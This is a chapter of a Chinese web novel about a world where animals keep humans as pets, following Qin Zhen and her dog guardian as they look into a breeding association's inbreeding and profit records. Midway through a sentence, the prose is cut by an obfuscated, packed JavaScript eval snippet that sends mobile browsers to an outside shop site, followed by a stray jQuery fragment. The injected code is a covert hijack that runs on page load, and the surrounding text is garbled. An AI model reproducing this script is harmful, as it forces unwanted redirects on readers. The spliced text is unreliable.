秦臻没有留意到,在医院大厅的角落里,有一双眼睛一直盯着她。
因为疼痛,赵旭磊缩成一团,从毯子缝隙里观察着外面。
这几天的遭遇早已让他变成惊弓之鸟,只有这样裹着被子时刻紧盯四周,才会稍微安心一些。
他一眼就认出了被狼犬小心呵护的那个女孩,是第一天来到这个世界和他搭过话的人。
当时赵旭磊对秦臻的劝告充耳不闻。
如今再相遇,自己浑身是伤,而对方光鲜亮丽,被动物呵护着。
哪怕赵旭磊不清楚这里的品牌,也能看出狼犬用的携行袋不是便宜货。
他心里说不上来的别扭与气闷。
他刚才看得清楚,秦臻和狼犬十分默契,难道在这个世界,有动物能听懂人类的语言?
“药开好了,去窗口取药吧。”
小猫护士走到面前喊了一声,递过来一张单子。
鹦鹉嘴里重复着“开药开药”,翅膀接过单子,抱着赵旭磊往药房窗口走去。
是的,他作为一个流浪人,被一只鹦鹉捡到了。
刚到狐狸家时,赵旭磊也以为自己会过上梦想中的宠物人生,每天只需要吃饱了睡、睡醒了吃,偶尔卖个萌就哄得狐狸给他小零食。
结果没想到刚到家,还算和蔼可亲的狐狸立马变了脸,把他扒光了吊在笼子里,又打又烧。
赵旭磊突然想起来自己打死过的那只小狗,但这念头也只是一闪而过。
他一直坚持到第三天,才抓住机会趁狐狸不注意从笼子里逃了出去。
赵旭磊不认识这个世界的文字,也不知道该往哪里逃。在街上流浪许久,终于在奄奄一息之时,被一只鹦鹉救了,送到了这家医院。
而在许多天前,他脑子里突然出现一个声音,那声音一遍遍重复着。
【阻止他们,阻止他们……】
出了医院大门,秦臻还没从刚才的所见所闻中回过神来。
“别难受了,你现在不正在解决这个问题吗?”
头顶上方传来沈屹安慰的声音,秦臻点点头,想起来对方大概看不清,才轻轻用手碰了下狗毛。
“这两天手不许碰任何地方,包括我。”
秦臻心里“喔”着,把手缩回去垂在身侧。
“诶,我到处找你们,原来在这里。”
雪貂抱着卢昱筝满脸喜色跑来,在看清秦臻裹着纱布的双手后,她惊呼出声:“啊,臻臻怎么了?”
“没事,出了点小意外破皮了,不是大问题。”
沈屹低头看着秦臻,确认她在携行袋里待得安全舒服,还用鼻头轻轻碰了下秦臻发顶。
“唉,刚才念到你们号,我到处找都没找到你。”雪貂惋惜地叹了口气。
“哈哈,本来就是来玩的,没事,你们家宝宝获奖了吧?”
卢昱筝脖子上挂着一个和她头差不多大的金色奖牌,在阳光下闪闪发光。
雪貂抱着她往秦臻面前送:“嗯,最佳装扮奖。”语气十分骄傲。
卢昱筝努力忽略掉秦臻眼里的戏谑,指指她的手:“你没事吧?”
“没事,只是擦破皮。不过最佳装扮奖真是实至名归。”
秦臻已经压不住嘴角了,干脆彻底笑起来,笑得身子都在抖。
那张被五颜六色包围着的脸彻底黑了,卢昱筝“啧”了一声,才说回正事。
“你那边如何?”
“只拍到了很少的资料就被打断了,不过我每个分类都拍了些,剩下的资料应该大差不差,没拍到就算了。”
卢昱筝微微颔首,用眼神示意周围:“今天来比赛,包括这附近很多宠物人都是协会培育的品种,他们是从协会的繁育中心出来的,咱们得想办法去那里一趟。”
“好,我会让他想办法的。”秦臻往上看看,视线里是一条长长的狗下巴。
“虽然知道现在不是好奇的时候,但你到底是怎么和狼犬沟通的,才能让他做到这些?啧,你这NPC也太靠谱了……”
秦臻眨眨眼,笑了:“你有没有想过,也许你对雪貂撒娇卖萌,她也会尽全力满足你的要求?你看她多宠你。”
她冲着卢昱筝这绚丽的打扮一挑眉,对方的脸又红了。
“嗯,她这几天手不能碰水,我先带她回去休息了,你们好好玩。等臻臻手好了,我们再约。”
秦臻根本不需要和沈屹沟通,沈屹自然就为下一步的安排做好了铺垫。
“回家了。”
沈屹低下头再确认一下安全携行袋没有问题,才迈开步子往回走。回程路上他始终垂着头,怕风吹着秦臻。
“只是破皮而已,真没这么夸张。”
秦臻坐在桌上,摊着手,看沈屹往破口处上药,那动作谨慎得如临大敌。
沈屹没说话,只是停下手上动作,看了眼秦臻,又低头继续上药。
他小心翼翼保持着狗爪的高度,保证毛发不会碰到秦臻的伤口。缠好纱布后,沈屹明显松了口气。
“好了,坐着别动。”
沈屹摸摸靠垫,确认秦臻靠得舒服,转身去厨房端来一小碗汤。
宠物人的餐具在狗爪上就像过家家的玩具,如果不是碗里真的有散发着香气的鸡汤。
“来,张嘴。”
小勺子里满满的鸡肉丝,和撇过油的汤水一起送到秦臻嘴边。
她已经好久没体验过沈屹的喂饭服务了。
小时候秦臻每次不好好吃饭,沈屹就会抱着她喂饭,等她吃完了才开动。虽然家里人都劝沈屹没必要这么溺爱秦臻,但他却是乐此不疲。
长大几岁后,等秦臻明白饭菜再加热会不好吃,她就再也没在吃饭时闹过脾气,总是第一个乖乖坐上餐椅,和沈屹一起用餐。
“好吃。”
秦臻努力对着鸡汤表示自己的肯定,一直愁眉不展的沈屹表情终于松快了些。
等一碗鸡汤下肚,沈屹帮她擦干净唇角,才认真交代:“下次不可以这样,记住了吗?”
秦臻乖乖地点头。
吃饱喝足,秦臻催着沈屹把照片调出来。
沈屹将秦臻放在前胸坐好,将相机连上电脑。
大屏幕上逐渐加载出一张张图片。
因为文件在抽屉里,秦臻没办法完全拉出来,所以每张照
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17665851|204100||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
片都只拍摄到三分之二的内容,但信息量也足够了。
“……这个是配种信息。短鼻种0287号X短鼻种0298号,后代0912-0934号,存活7只。长毛种1992X长毛种1754,后代0935-0957号,存活5只。”
秦臻算了下:“这存活率只有……两到三成?这么低?”
沈屹翻到下一张,看完了才开口:“这个是残疾个体的记录。编号0192,出生腰部以下无知觉。编号0746,双手仅有两根手指。编号0283,先天性心脏病。编号04937,先天性聋哑和白化病……”
“这些病,是不是和近亲繁殖有关?”
秦臻抬头看沈屹,上方的狗头沉默片刻:“宠物繁殖如果为了固定某个特征,确实是会采用近亲繁殖的手段。”
“那你说,这些出生残疾的宠物人,会……到什么地方去?”
这次沈屹没有回答,只是默默翻到下一张,表格上是大量的数字。
“是利润率报表。”沈屹放大数字,“上面是去年的数据,长毛种利润率82%,短鼻种79%,长肢种56%,纯种50%。”
秦臻恍然大悟点点头:“难怪培育种里面最流行长毛种,看来也不全是审美导致。”
“市场审美风向从来不是自然形成的。”沈屹盯着那些数字,叹口气,“资本想要推什么,就会让什么出现在大众视野。有时候大家以为是自己主观喜欢和选择,其实都是被资本操控的。”
秦臻虽然看不懂屏幕上的文字,但大概也能猜想到内容。从沈屹口中得到具体数字后,种种不好的联想更是浮上心头。
“没关系的,你现在已经在处理这个问题了。”狗爪轻轻落在前额,“所以眉头不要皱这么紧。”
秦臻往后靠着沈屹的前胸,手指搭在一团毛轻轻揉捏:“嗯,我知道。”
终于熬到伤口恢复,秦臻立即催着沈屹约雪貂一起出门。
这次的目的地是宠物人类产业发展协会的繁育中心,这个地方是协会的宣传地点,每个月都有固定的公众开放日。
沈屹早就在网上填好了预约信息,可以不用排队直接进入。
繁育中心位于郊区,因为远离城市,没有高楼大厦,连空气都清新不少。
大概考虑到是来郊区游玩,雪貂终于放弃了一贯多姿多彩的打扮。卢昱筝难得穿一件白T搭配一条牛仔裤,头发也只是扎了个简单的马尾,刚会面时秦臻差点没认出来。
繁育中心占地广阔,建筑林立。沈屹站在导向牌前看了一会儿,征求雪貂意见:“直接去宝宝中心看看?”
雪貂捧起卢昱筝,在她脸上亲了一口:“宝宝想先去哪里呀?”
卢昱筝红着脸指向宝宝中心的方向。
宝宝中心是专门照看新生宠物人的地方,这里以可爱著称,是整个繁育中心人气最旺的地方。
进馆不仅要排队还要全员消毒。等秦臻身上的消毒水味散得差不多了,他们才挪到第一面玻璃墙跟前。
隔着玻璃墙,里面是一个个大小一致的椭圆形设备,每一个设备里都躺着一个刚出生不久的宠物人。